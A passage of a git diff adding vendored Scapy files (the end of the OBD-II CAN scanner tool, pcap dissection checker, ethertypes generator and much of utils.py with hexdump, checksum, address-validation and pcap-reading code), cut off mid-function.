--destination 0x034\n + Python3 on Linux: + python3 -m scapy.tools.automotive.obdscanner --channel can0 --source 0x123 --destination 0x456 \n''', # noqa: E501 + file=sys.stderr if is_error else sys.stdout) + + +def main(): + + channel = None + interface = None + source = 0x7e0 + destination = 0x7df + timeout = 0.1 + supported = False + unsupported = False + verbose = False + python_can_args = None + + options = getopt.getopt( + sys.argv[1:], + 'i:c:s:d:a:t:hruv', + ['interface=', 'channel=', 'source=', 'destination=', + 'help', 'timeout=', 'python-can_args=', 'supported', 'unsupported', + 'verbose']) + + try: + for opt, arg in options[0]: + if opt in ('-i', '--interface'): + interface = arg + elif opt in ('-c', '--channel'): + channel = arg + elif opt in ('-a', '--python-can_args'): + python_can_args = arg + elif opt in ('-s', '--source'): + source = int(arg, 16) + elif opt in ('-d', '--destination'): + destination = int(arg, 16) + elif opt in ('-h', '--help'): + usage(False) + sys.exit(0) + elif opt in ('-t', '--timeout'): + timeout = float(arg) + elif opt in ('-r', '--supported'): + supported = True + elif opt in ('-u', '--unsupported'): + unsupported = True + elif opt in ('-v', '--verbose'): + verbose = True + except getopt.GetoptError as msg: + usage(True) + print("ERROR:", msg, file=sys.stderr) + raise SystemExit + + if channel is None or \ + (PYTHON_CAN and interface is None): + usage(True) + print("\nPlease provide all required arguments.\n", + file=sys.stderr) + sys.exit(1) + + if 0 > source >= 0x800 or 0 > destination >= 0x800\ + or source == destination: + print("The ids must be >= 0 and < 0x800 and not equal.", + file=sys.stderr) + sys.exit(1) + + if 0 > timeout: + print("The timeout must be a positive value") + sys.exit(1) + + csock = None + try: + if PYTHON_CAN: + if python_can_args: + arg_dict = dict((k, literal_eval(v)) for k, v in + (pair.split('=') for pair in + re.split(', | |,', python_can_args))) + csock = CANSocket(bustype=interface, channel=channel, + **arg_dict) + else: + csock = CANSocket(bustype=interface, channel=channel) + else: + csock = CANSocket(channel=channel) + + with ISOTPSocket(csock, source, destination, + basecls=OBD, padding=True) as isock: + signal.signal(signal.SIGINT, signal_handler) + obd_scan(isock, timeout, supported, unsupported, verbose) + + except Exception as e: + usage(True) + print("\nSocket couldn't be created. Check your arguments.\n", + file=sys.stderr) + print(e, file=sys.stderr) + sys.exit(1) + + finally: + if csock is not None: + csock.close() + + +if __name__ == '__main__': + main() diff --git a/libs/scapy/tools/check_asdis.py b/libs/scapy/tools/check_asdis.py new file mode 100755 index 0000000..bd94dfa --- /dev/null +++ b/libs/scapy/tools/check_asdis.py @@ -0,0 +1,101 @@ +from __future__ import print_function +import getopt + + +def usage(): + print("""Usage: check_asdis -i [-o ] + -v increase verbosity + -d hexdiff packets that differ + -z compress output pcap + -a open pcap file in append mode""", file=sys.stderr) + + +def main(argv): + PCAP_IN = None + PCAP_OUT = None + COMPRESS = False + APPEND = False + DIFF = False + VERBOSE = 0 + try: + opts = getopt.getopt(argv, "hi:o:azdv") + for opt, parm in opts[0]: + if opt == "-h": + usage() + raise SystemExit + elif opt == "-i": + PCAP_IN = parm + elif opt == "-o": + PCAP_OUT = parm + elif opt == "-v": + VERBOSE += 1 + elif opt == "-d": + DIFF = True + elif opt == "-a": + APPEND = True + elif opt == "-z": + COMPRESS = True + + if PCAP_IN is None: + raise getopt.GetoptError("Missing pcap file (-i)") + + except getopt.GetoptError as e: + print("ERROR: %s" % e, file=sys.stderr) + raise SystemExit + + from scapy.config import conf + from scapy.utils import RawPcapReader, RawPcapWriter, hexdiff + from scapy.layers import all # noqa: F401 + + pcap = RawPcapReader(PCAP_IN) + pcap_out = None + if PCAP_OUT: + pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) # noqa: E501 + pcap_out._write_header(None) + + LLcls = conf.l2types.get(pcap.linktype) + if LLcls is None: + print(" Unknown link type [%i]. Can't test anything!" % pcap.linktype, file=sys.stderr) # noqa: E501 + raise SystemExit + + i = -1 + differ = 0 + failed = 0 + for p1, meta in pcap: + i += 1 + try: + p2d = LLcls(p1) + p2 = str(p2d) + except KeyboardInterrupt: + raise + except Exception as e: + print("Dissection error on packet %i: %s" % (i, e)) + failed += 1 + else: + if p1 == p2: + if VERBOSE >= 2: + print("Packet %i ok" % i) + continue + else: + print("Packet %i differs" % i) + differ += 1 + if VERBOSE >= 1: + print(repr(p2d)) + if DIFF: + hexdiff(p1, p2) + if pcap_out is not None: + pcap_out.write(p1) + i += 1 + correct = i - differ - failed + print("%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, # noqa: E501 + failed, i and 100.0 * ( + correct) / i)) # noqa: E501 + + +if __name__ == "__main__": + import sys + + try: + main(sys.argv[1:]) + except KeyboardInterrupt: + print("Interrupted by user.", file=sys.stderr) diff --git a/libs/scapy/tools/generate_ethertypes.py b/libs/scapy/tools/generate_ethertypes.py new file mode 100755 index 0000000..c77f69f --- /dev/null +++ b/libs/scapy/tools/generate_ethertypes.py @@ -0,0 +1,48 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +"""Generate the ethertypes file (/etc/ethertypes) +based on the OpenBSD source. + +It allows to have a file with the format of +http://git.netfilter.org/ebtables/plain/ethertypes +but up-to-date. +""" + +import re +import urllib.request + +URL = "https://raw.githubusercontent.com/openbsd/src/master/sys/net/ethertypes.h" # noqa: E501 + +with urllib.request.urlopen(URL) as stream: + DATA = stream.read() + +reg = br".*ETHERTYPE_([^\s]+)\s.0x([0-9A-Fa-f]+).*\/\*(.*)\*\/" +COMPILED = b"""# +# Ethernet frame types +# This file describes some of the various Ethernet +# protocol types that are used on Ethernet networks. +# +# This list could be found on: +# http://www.iana.org/assignments/ethernet-numbers +# http://www.iana.org/assignments/ieee-802-numbers +# +# ... #Comment +# +""" +for line in DATA.split(b"\n"): + match = re.match(reg, line) + if match: + name = match.group(1).ljust(16) + number = match.group(2).upper() + comment = match.group(3).strip() + compiled_line = (b"%b%b" + b" " * 25 + b"# %b\n") % ( + name, number, comment + ) + COMPILED += compiled_line + +with open("ethertypes", "wb") as output: + print("Written: %s" % output.write(COMPILED)) diff --git a/libs/scapy/tools/scapy_pyannotate.py b/libs/scapy/tools/scapy_pyannotate.py new file mode 100755 index 0000000..7ec66d4 --- /dev/null +++ b/libs/scapy/tools/scapy_pyannotate.py @@ -0,0 +1,21 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Wrap Scapy's shell in pyannotate. +""" + +import os +import sys +sys.path.insert(0, os.path.abspath('../../')) + +from pyannotate_runtime import collect_types # noqa: E402 +from scapy.main import interact # noqa: E402 + +collect_types.init_types_collection() +with collect_types.collect(): + interact() + +collect_types.dump_stats("pyannotate_results_main") diff --git a/libs/scapy/utils.py b/libs/scapy/utils.py new file mode 100755 index 0000000..b39431e --- /dev/null +++ b/libs/scapy/utils.py @@ -0,0 +1,2088 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +General utility functions. +""" + +from __future__ import absolute_import +from __future__ import print_function +from decimal import Decimal + +import os +import sys +import socket +import collections +import random +import time +import gzip +import re +import struct +import array +import subprocess +import tempfile +import threading + +import scapy.modules.six as six +from scapy.modules.six.moves import range, input + +from scapy.config import conf +from scapy.consts import DARWIN, WINDOWS, WINDOWS_XP, OPENBSD +from scapy.data import MTU, DLT_EN10MB +from scapy.compat import orb, raw, plain_str, chb, bytes_base64, \ + base64_bytes, hex_bytes, lambda_tuple_converter, bytes_encode +from scapy.error import log_runtime, Scapy_Exception, warning +from scapy.pton_ntop import inet_pton + + +########### +# Tools # +########### + + +def issubtype(x, t): + """issubtype(C, B) -> bool + + Return whether C is a class and if it is a subclass of class B. + When using a tuple as the second argument issubtype(X, (A, B, ...)), + is a shortcut for issubtype(X, A) or issubtype(X, B) or ... (etc.). + """ + if isinstance(t, str): + return t in (z.__name__ for z in x.__bases__) + if isinstance(x, type) and issubclass(x, t): + return True + return False + + +class EDecimal(Decimal): + """Extended Decimal + + This implements arithmetic and comparison with float for + backward compatibility + """ + + def __add__(self, other, **kwargs): + return EDecimal(Decimal.__add__(self, Decimal(other), **kwargs)) + + def __radd__(self, other, **kwargs): + return EDecimal(Decimal.__add__(self, Decimal(other), **kwargs)) + + def __sub__(self, other, **kwargs): + return EDecimal(Decimal.__sub__(self, Decimal(other), **kwargs)) + + def __rsub__(self, other, **kwargs): + return EDecimal(Decimal.__rsub__(self, Decimal(other), **kwargs)) + + def __mul__(self, other, **kwargs): + return EDecimal(Decimal.__mul__(self, Decimal(other), **kwargs)) + + def __rmul__(self, other, **kwargs): + return EDecimal(Decimal.__mul__(self, Decimal(other), **kwargs)) + + def __truediv__(self, other, **kwargs): + return EDecimal(Decimal.__truediv__(self, Decimal(other), **kwargs)) + + def __floordiv__(self, other, **kwargs): + return EDecimal(Decimal.__floordiv__(self, Decimal(other), **kwargs)) + + def __div__(self, other, **kwargs): + return EDecimal(Decimal.__div__(self, Decimal(other), **kwargs)) + + def __rdiv__(self, other, **kwargs): + return EDecimal(Decimal.__rdiv__(self, Decimal(other), **kwargs)) + + def __mod__(self, other, **kwargs): + return EDecimal(Decimal.__mod__(self, Decimal(other), **kwargs)) + + def __rmod__(self, other, **kwargs): + return EDecimal(Decimal.__rmod__(self, Decimal(other), **kwargs)) + + def __divmod__(self, other, **kwargs): + return EDecimal(Decimal.__divmod__(self, Decimal(other), **kwargs)) + + def __rdivmod__(self, other, **kwargs): + return EDecimal(Decimal.__rdivmod__(self, Decimal(other), **kwargs)) + + def __pow__(self, other, **kwargs): + return EDecimal(Decimal.__pow__(self, Decimal(other), **kwargs)) + + def __rpow__(self, other, **kwargs): + return EDecimal(Decimal.__rpow__(self, Decimal(other), **kwargs)) + + def __eq__(self, other, **kwargs): + return super(EDecimal, self).__eq__(other) or float(self) == other + + +def get_temp_file(keep=False, autoext="", fd=False): + """Creates a temporary file. + + :param keep: If False, automatically delete the file when Scapy exits. + :param autoext: Suffix to add to the generated file name. + :param fd: If True, this returns a file-like object with the temporary + file opened. If False (default), this returns a file path. + """ + f = tempfile.NamedTemporaryFile(prefix="scapy", suffix=autoext, + delete=False) + if not keep: + conf.temp_files.append(f.name) + + if fd: + return f + else: + # Close the file so something else can take it. + f.close() + return f.name + + +def get_temp_dir(keep=False): + """Creates a temporary file, and returns its name. + + :param keep: If False (default), the directory will be recursively + deleted when Scapy exits. + :return: A full path to a temporary directory. + """ + + dname = tempfile.mkdtemp(prefix="scapy") + + if not keep: + conf.temp_files.append(dname) + + return dname + + +def sane_color(x): + r = "" + for i in x: + j = orb(i) + if (j < 32) or (j >= 127): + r += conf.color_theme.not_printable(".") + else: + r += chr(j) + return r + + +def sane(x): + r = "" + for i in x: + j = orb(i) + if (j < 32) or (j >= 127): + r += "." + else: + r += chr(j) + return r + + +@conf.commands.register +def restart(): + """Restarts scapy""" + if not conf.interactive or not os.path.isfile(sys.argv[0]): + raise OSError("Scapy was not started from console") + if WINDOWS: + try: + res_code = subprocess.call([sys.executable] + sys.argv) + except KeyboardInterrupt: + res_code = 1 + finally: + os._exit(res_code) + os.execv(sys.executable, [sys.executable] + sys.argv) + + +def lhex(x): + from scapy.volatile import VolatileValue + if isinstance(x, VolatileValue): + return repr(x) + if type(x) in six.integer_types: + return hex(x) + elif isinstance(x, tuple): + return "(%s)" % ", ".join(map(lhex, x)) + elif isinstance(x, list): + return "[%s]" % ", ".join(map(lhex, x)) + else: + return x + + +@conf.commands.register +def hexdump(x, dump=False): + """Build a tcpdump like hexadecimal view + + :param x: a Packet + :param dump: define if the result must be printed or returned in a variable + :return: a String only when dump=True + """ + s = "" + x = bytes_encode(x) + x_len = len(x) + i = 0 + while i < x_len: + s += "%04x " % i + for j in range(16): + if i + j < x_len: + s += "%02X " % orb(x[i + j]) + else: + s += " " + s += " %s\n" % sane_color(x[i:i + 16]) + i += 16 + # remove trailing \n + s = s[:-1] if s.endswith("\n") else s + if dump: + return s + else: + print(s) + + +@conf.commands.register +def linehexdump(x, onlyasc=0, onlyhex=0, dump=False): + """Build an equivalent view of hexdump() on a single line + + Note that setting both onlyasc and onlyhex to 1 results in a empty output + + :param x: a Packet + :param onlyasc: 1 to display only the ascii view + :param onlyhex: 1 to display only the hexadecimal view + :param dump: print the view if False + :return: a String only when dump=True + """ + s = "" + s = hexstr(x, onlyasc=onlyasc, onlyhex=onlyhex, color=not dump) + if dump: + return s + else: + print(s) + + +@conf.commands.register +def chexdump(x, dump=False): + """Build a per byte hexadecimal representation + + Example: + >>> chexdump(IP()) + 0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01 # noqa: E501 + + :param x: a Packet + :param dump: print the view if False + :return: a String only if dump=True + """ + x = bytes_encode(x) + s = ", ".join("%#04x" % orb(x) for x in x) + if dump: + return s + else: + print(s) + + +@conf.commands.register +def hexstr(x, onlyasc=0, onlyhex=0, color=False): + """Build a fancy tcpdump like hex from bytes.""" + x = bytes_encode(x) + _sane_func = sane_color if color else sane + s = [] + if not onlyasc: + s.append(" ".join("%02X" % orb(b) for b in x)) + if not onlyhex: + s.append(_sane_func(x)) + return " ".join(s) + + +def repr_hex(s): + """ Convert provided bitstring to a simple string of hex digits """ + return "".join("%02x" % orb(x) for x in s) + + +@conf.commands.register +def hexdiff(x, y): + """Show differences between 2 binary strings""" + x = bytes_encode(x)[::-1] + y = bytes_encode(y)[::-1] + SUBST = 1 + INSERT = 1 + d = {(-1, -1): (0, (-1, -1))} + for j in range(len(y)): + d[-1, j] = d[-1, j - 1][0] + INSERT, (-1, j - 1) + for i in range(len(x)): + d[i, -1] = d[i - 1, -1][0] + INSERT, (i - 1, -1) + + for j in range(len(y)): + for i in range(len(x)): + d[i, j] = min((d[i - 1, j - 1][0] + SUBST * (x[i] != y[j]), (i - 1, j - 1)), # noqa: E501 + (d[i - 1, j][0] + INSERT, (i - 1, j)), + (d[i, j - 1][0] + INSERT, (i, j - 1))) + + backtrackx = [] + backtracky = [] + i = len(x) - 1 + j = len(y) - 1 + while not (i == j == -1): + i2, j2 = d[i, j][1] + backtrackx.append(x[i2 + 1:i + 1]) + backtracky.append(y[j2 + 1:j + 1]) + i, j = i2, j2 + + x = y = i = 0 + colorize = {0: lambda x: x, + -1: conf.color_theme.left, + 1: conf.color_theme.right} + + dox = 1 + doy = 0 + btx_len = len(backtrackx) + while i < btx_len: + linex = backtrackx[i:i + 16] + liney = backtracky[i:i + 16] + xx = sum(len(k) for k in linex) + yy = sum(len(k) for k in liney) + if dox and not xx: + dox = 0 + doy = 1 + if dox and linex == liney: + doy = 1 + + if dox: + xd = y + j = 0 + while not linex[j]: + j += 1 + xd -= 1 + print(colorize[doy - dox]("%04x" % xd), end=' ') + x += xx + line = linex + else: + print(" ", end=' ') + if doy: + yd = y + j = 0 + while not liney[j]: + j += 1 + yd -= 1 + print(colorize[doy - dox]("%04x" % yd), end=' ') + y += yy + line = liney + else: + print(" ", end=' ') + + print(" ", end=' ') + + cl = "" + for j in range(16): + if i + j < btx_len: + if line[j]: + col = colorize[(linex[j] != liney[j]) * (doy - dox)] + print(col("%02X" % orb(line[j])), end=' ') + if linex[j] == liney[j]: + cl += sane_color(line[j]) + else: + cl += col(sane(line[j])) + else: + print(" ", end=' ') + cl += " " + else: + print(" ", end=' ') + if j == 7: + print("", end=' ') + + print(" ", cl) + + if doy or not yy: + doy = 0 + dox = 1 + i += 16 + else: + if yy: + dox = 0 + doy = 1 + else: + i += 16 + + +if struct.pack("H", 1) == b"\x00\x01": # big endian + checksum_endian_transform = lambda chk: chk +else: + checksum_endian_transform = lambda chk: ((chk >> 8) & 0xff) | chk << 8 + + +def checksum(pkt): + if len(pkt) % 2 == 1: + pkt += b"\0" + s = sum(array.array("H", pkt)) + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + s = ~s + return checksum_endian_transform(s) & 0xffff + + +def _fletcher16(charbuf): + # This is based on the GPLed C implementation in Zebra # noqa: E501 + c0 = c1 = 0 + for char in charbuf: + c0 += orb(char) + c1 += c0 + + c0 %= 255 + c1 %= 255 + return (c0, c1) + + +@conf.commands.register +def fletcher16_checksum(binbuf): + """Calculates Fletcher-16 checksum of the given buffer. + + Note: + If the buffer contains the two checkbytes derived from the Fletcher-16 checksum # noqa: E501 + the result of this function has to be 0. Otherwise the buffer has been corrupted. # noqa: E501 + """ + (c0, c1) = _fletcher16(binbuf) + return (c1 << 8) | c0 + + +@conf.commands.register +def fletcher16_checkbytes(binbuf, offset): + """Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string. + + Including the bytes into the buffer (at the position marked by offset) the # noqa: E501 + global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify # noqa: E501 + the integrity of the buffer on the receiver side. + + For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B. # noqa: E501 + """ + + # This is based on the GPLed C implementation in Zebra # noqa: E501 + if len(binbuf) < offset: + raise Exception("Packet too short for checkbytes %d" % len(binbuf)) + + binbuf = binbuf[:offset] + b"\x00\x00" + binbuf[offset + 2:] + (c0, c1) = _fletcher16(binbuf) + + x = ((len(binbuf) - offset - 1) * c0 - c1) % 255 + + if (x <= 0): + x += 255 + + y = 510 - c0 - x + + if (y > 255): + y -= 255 + return chb(x) + chb(y) + + +def mac2str(mac): + return b"".join(chb(int(x, 16)) for x in plain_str(mac).split(':')) + + +def valid_mac(mac): + try: + return len(mac2str(mac)) == 6 + except ValueError: + pass + return False + + +def str2mac(s): + if isinstance(s, str): + return ("%02x:" * 6)[:-1] % tuple(map(ord, s)) + return ("%02x:" * 6)[:-1] % tuple(s) + + +def randstring(l): + """ + Returns a random string of length l (l >= 0) + """ + return b"".join(struct.pack('B', random.randint(0, 255)) for _ in range(l)) + + +def zerofree_randstring(l): + """ + Returns a random string of length l (l >= 0) without zero in it. + """ + return b"".join(struct.pack('B', random.randint(1, 255)) for _ in range(l)) + + +def strxor(s1, s2): + """ + Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2 + must be of same length. + """ + return b"".join(map(lambda x, y: chb(orb(x) ^ orb(y)), s1, s2)) + + +def strand(s1, s2): + """ + Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 + must be of same length. + """ + return b"".join(map(lambda x, y: chb(orb(x) & orb(y)), s1, s2)) + + +# Workaround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 # noqa: E501 +try: + socket.inet_aton("255.255.255.255") +except socket.error: + def inet_aton(x): + if x == "255.255.255.255": + return b"\xff" * 4 + else: + return socket.inet_aton(x) +else: + inet_aton = socket.inet_aton + +inet_ntoa = socket.inet_ntoa + + +def atol(x): + try: + ip = inet_aton(x) + except socket.error: + ip = inet_aton(socket.gethostbyname(x)) + return struct.unpack("!I", ip)[0] + + +def valid_ip(addr): + try: + addr = plain_str(addr) + except UnicodeDecodeError: + return False + try: + atol(addr) + except (OSError, ValueError, socket.error): + return False + return True + + +def valid_net(addr): + try: + addr = plain_str(addr) + except UnicodeDecodeError: + return False + if '/' in addr: + ip, mask = addr.split('/', 1) + return valid_ip(ip) and mask.isdigit() and 0 <= int(mask) <= 32 + return valid_ip(addr) + + +def valid_ip6(addr): + try: + addr = plain_str(addr) + except UnicodeDecodeError: + return False + try: + inet_pton(socket.AF_INET6, addr) + except socket.error: + try: + socket.getaddrinfo(addr, None, socket.AF_INET6)[0][4][0] + except socket.error: + return False + return True + + +def valid_net6(addr): + try: + addr = plain_str(addr) + except UnicodeDecodeError: + return False + if '/' in addr: + ip, mask = addr.split('/', 1) + return valid_ip6(ip) and mask.isdigit() and 0 <= int(mask) <= 128 + return valid_ip6(addr) + + +if WINDOWS_XP: + # That is a hell of compatibility :( + def ltoa(x): + return inet_ntoa(struct.pack("> x) & 0xffffffff + + +class ContextManagerSubprocess(object): + """ + Context manager that eases checking for unknown command, without + crashing. + + Example: + >>> with ContextManagerSubprocess("tcpdump"): + >>> subprocess.Popen(["tcpdump", "--version"]) + ERROR: Could not execute tcpdump, is it installed? + + """ + + def __init__(self, prog, suppress=True): + self.prog = prog + self.suppress = suppress + + def __enter__(self): + pass + + def __exit__(self, exc_type, exc_value, traceback): + if exc_value is None: + return + # Errored + if isinstance(exc_value, EnvironmentError): + msg = "Could not execute %s, is it installed?" % self.prog + else: + msg = "%s: execution failed (%s)" % ( + self.prog, + exc_type.__class__.__name__ + ) + if not self.suppress: + raise exc_type(msg) + log_runtime.error(msg, exc_info=True) + return True # Suppress the exception + + +class ContextManagerCaptureOutput(object): + """ + Context manager that intercept the console's output. + + Example: + >>> with ContextManagerCaptureOutput() as cmco: + ... print("hey") + ... assert cmco.get_output() == "hey" + """ + + def __init__(self): + self.result_export_object = "" + try: + import mock # noqa: F401 + except Exception: + raise ImportError("The mock module needs to be installed !") + + def __enter__(self): + import mock + + def write(s, decorator=self): + decorator.result_export_object += s + + mock_stdout = mock.Mock() + mock_stdout.write = write + self.bck_stdout = sys.stdout + sys.stdout = mock_stdout + return self + + def __exit__(self, *exc): + sys.stdout = self.bck_stdout + return False + + def get_output(self, eval_bytes=False): + if self.result_export_object.startswith("b'") and eval_bytes: + return plain_str(eval(self.result_export_object)) + return self.result_export_object + + +def do_graph(graph, prog=None, format=None, target=None, type=None, + string=None, options=None): + """Processes graph description using an external software. + This method is used to convert a graphviz format to an image. + + :param graph: GraphViz graph description + :param prog: which graphviz program to use + :param format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" + option + :param string: if not None, simply return the graph string + :param target: filename or redirect. Defaults pipe to Imagemagick's + display program + :param options: options to be passed to prog + """ + + if format is None: + format = "svg" + if string: + return graph + if type is not None: + warning("type is deprecated, and was renamed format") + format = type + if prog is None: + prog = conf.prog.dot + start_viewer = False + if target is None: + if WINDOWS: + target = get_temp_file(autoext="." + format) + start_viewer = True + else: + with ContextManagerSubprocess(conf.prog.display): + target = subprocess.Popen([conf.prog.display], + stdin=subprocess.PIPE).stdin + if format is not None: + format = "-T%s" % format + if isinstance(target, str): + if target.startswith('|'): + target = subprocess.Popen(target[1:].lstrip(), shell=True, + stdin=subprocess.PIPE).stdin + elif target.startswith('>'): + target = open(target[1:].lstrip(), "wb") + else: + target = open(os.path.abspath(target), "wb") + proc = subprocess.Popen( + "\"%s\" %s %s" % (prog, options or "", format or ""), + shell=True, stdin=subprocess.PIPE, stdout=target, + stderr=subprocess.PIPE + ) + _, stderr = proc.communicate(bytes_encode(graph)) + if proc.returncode != 0: + raise OSError( + "GraphViz call failed (is it installed?):\n" + + plain_str(stderr) + ) + try: + target.close() + except Exception: + pass + if start_viewer: + # Workaround for file not found error: We wait until tempfile is written. # noqa: E501 + waiting_start = time.time() + while not os.path.exists(target.name): + time.sleep(0.1) + if time.time() - waiting_start > 3: + warning("Temporary file '%s' could not be written. Graphic will not be displayed.", + tempfile) # noqa: E501 + break + else: + if conf.prog.display == conf.prog._default: + os.startfile(target.name) + else: + with ContextManagerSubprocess(conf.prog.display): + subprocess.Popen([conf.prog.display, target.name]) + + +_TEX_TR = { + "{": "{\\tt\\char123}", + "}": "{\\tt\\char125}", + "\\": "{\\tt\\char92}", + "^": "\\^{}", + "$": "\\$", + "#": "\\#", + "_": "\\_", + "&": "\\&", + "%": "\\%", + "|": "{\\tt\\char124}", + "~": "{\\tt\\char126}", + "<": "{\\tt\\char60}", + ">": "{\\tt\\char62}", +} + + +def tex_escape(x): + s = "" + for c in x: + s += _TEX_TR.get(c, c) + return s + + +def colgen(*lstcol, **kargs): + """Returns a generator that mixes provided quantities forever + trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" # noqa: E501 + if len(lstcol) < 2: + lstcol *= 2 + trans = kargs.get("trans", lambda x, y, z: (x, y, z)) + while True: + for i in range(len(lstcol)): + for j in range(len(lstcol)): + for k in range(len(lstcol)): + if i != j or j != k or k != i: + yield trans(lstcol[(i + j) % len(lstcol)], lstcol[(j + k) % len(lstcol)], + lstcol[(k + i) % len(lstcol)]) # noqa: E501 + + +def incremental_label(label="tag%05i", start=0): + while True: + yield label % start + start += 1 + + +def binrepr(val): + return bin(val)[2:] + + +def long_converter(s): + return int(s.replace('\n', '').replace(' ', ''), 16) + + +######################### +# Enum management # +######################### + + +class EnumElement: + _value = None + + def __init__(self, key, value): + self._key = key + self._value = value + + def __repr__(self): + return "<%s %s[%r]>" % ( + self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) # noqa: E501 + + def __getattr__(self, attr): + return getattr(self._value, attr) + + def __str__(self): + return self._key + + def __bytes__(self): + return bytes_encode(self.__str__()) + + def __hash__(self): + return self._value + + def __int__(self): + return int(self._value) + + def __eq__(self, other): + return self._value == int(other) + + def __neq__(self, other): + return not self.__eq__(other) + + +class Enum_metaclass(type): + element_class = EnumElement + + def __new__(cls, name, bases, dct): + rdict = {} + for k, v in six.iteritems(dct): + if isinstance(v, int): + v = cls.element_class(k, v) + dct[k] = v + rdict[v] = k + dct["__rdict__"] = rdict + return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) + + def __getitem__(self, attr): + return self.__rdict__[attr] + + def __contains__(self, val): + return val in self.__rdict__ + + def get(self, attr, val=None): + return self.__rdict__.get(attr, val) + + def __repr__(self): + return "<%s>" % self.__dict__.get("name", self.__name__) + + +################### +# Object saving # +################### + + +def export_object(obj): + print(bytes_base64(gzip.zlib.compress(six.moves.cPickle.dumps(obj, 2), 9))) + + +def import_object(obj=None): + if obj is None: + obj = sys.stdin.read() + return six.moves.cPickle.loads(gzip.zlib.decompress(base64_bytes(obj.strip()))) # noqa: E501 + + +def save_object(fname, obj): + """Pickle a Python object""" + + fd = gzip.open(fname, "wb") + six.moves.cPickle.dump(obj, fd) + fd.close() + + +def load_object(fname): + """unpickle a Python object""" + return six.moves.cPickle.load(gzip.open(fname, "rb")) + + +@conf.commands.register +def corrupt_bytes(s, p=0.01, n=None): + """Corrupt a given percentage or number of bytes from a string""" + s = array.array("B", bytes_encode(s)) + s_len = len(s) + if n is None: + n = max(1, int(s_len * p)) + for i in random.sample(range(s_len), n): + s[i] = (s[i] + random.randint(1, 255)) % 256 + return s.tostring() if six.PY2 else s.tobytes() + + +@conf.commands.register +def corrupt_bits(s, p=0.01, n=None): + """Flip a given percentage or number of bits from a string""" + s = array.array("B", bytes_encode(s)) + s_len = len(s) * 8 + if n is None: + n = max(1, int(s_len * p)) + for i in random.sample(range(s_len), n): + s[i // 8] ^= 1 << (i % 8) + return s.tostring() if six.PY2 else s.tobytes() + + +############################# +# pcap capture file stuff # +############################# + +@conf.commands.register +def wrpcap(filename, pkt, *args, **kargs): + """Write a list of packets to a pcap file + + :param filename: the name of the file to write packets to, or an open, + writable file-like object. The file descriptor will be + closed at the end of the call, so do not use an object you + do not want to close (e.g., running wrpcap(sys.stdout, []) + in interactive mode will crash Scapy). + :param gz: set to 1 to save a gzipped capture + :param linktype: force linktype value + :param endianness: "<" or ">", force endianness + :param sync: do not bufferize writes to the capture file + """ + with PcapWriter(filename, *args, **kargs) as fdesc: + fdesc.write(pkt) + + +@conf.commands.register +def rdpcap(filename, count=-1): + """Read a pcap or pcapng file and return a packet list + + :param count: read only packets + """ + with PcapReader(filename) as fdesc: + return fdesc.read_all(count=count) + + +class PcapReader_metaclass(type): + """Metaclass for (Raw)Pcap(Ng)Readers""" + + def __new__(cls, name, bases, dct): + """The `alternative` class attribute is declared in the PcapNg + variant, and set here to the Pcap variant. + + """ + newcls = super(PcapReader_metaclass, cls).__new__(cls, name, bases, dct) # noqa: E501 + if 'alternative' in dct: + dct['alternative'].alternative = newcls + return newcls + + def __call__(cls, filename): + """Creates a cls instance, use the `alternative` if that + fails. + + """ + i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) + filename, fdesc, magic = cls.open(filename) + try: + i.__init__(filename, fdesc, magic) + except Scapy_Exception: + if "alternative" in cls.__dict__: + cls = cls.__dict__["alternative"] + i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) + try: + i.__init__(filename, fdesc, magic) + except Scapy_Exception: + try: + i.f.seek(-4, 1) + except Exception: + pass + raise Scapy_Exception("Not a supported capture file") + + return i + + @staticmethod + def open(filename): + """Open (if necessary) filename, and read the magic.""" + if isinstance(filename, six.string_types): + try: + fdesc = gzip.open(filename, "rb") + magic = fdesc.read(4) + except IOError: + fdesc = open(filename, "rb") + magic = fdesc.read(4) + else: + fdesc = filename + filename = getattr(fdesc, "name", "No name") + magic = fdesc.read(4) + return filename, fdesc, magic + + +class RawPcapReader(six.with_metaclass(PcapReader_metaclass)): + """A stateful pcap reader. Each packet is returned as a string""" + + read_allowed_exceptions = () # emulate SuperSocket + nonblocking_socket = True + PacketMetadata = collections.namedtuple("PacketMetadata", + ["sec", "usec", "wirelen", "caplen"]) # noqa: E501 + + def __init__(self, filename, fdesc, magic): + self.filename = filename + self.f = fdesc + if magic == b"\xa1\xb2\xc3\xd4": # big endian + self.endian = ">" + self.nano = False + elif magic == b"\xd4\xc3\xb2\xa1": # little endian + self.endian = "<" + self.nano = False + elif magic == b"\xa1\xb2\x3c\x4d": # big endian, nanosecond-precision + self.endian = ">" + self.nano = True + elif magic == b"\x4d\x3c\xb2\xa1": # little endian, nanosecond-precision # noqa: E501 + self.endian = "<" + self.nano = True + else: + raise Scapy_Exception( + "Not a pcap capture file (bad magic: %r)" % magic + ) + hdr = self.f.read(20) + if len(hdr) < 20: + raise Scapy_Exception("Invalid pcap file (too short)") + vermaj, vermin, tz, sig, snaplen, linktype = 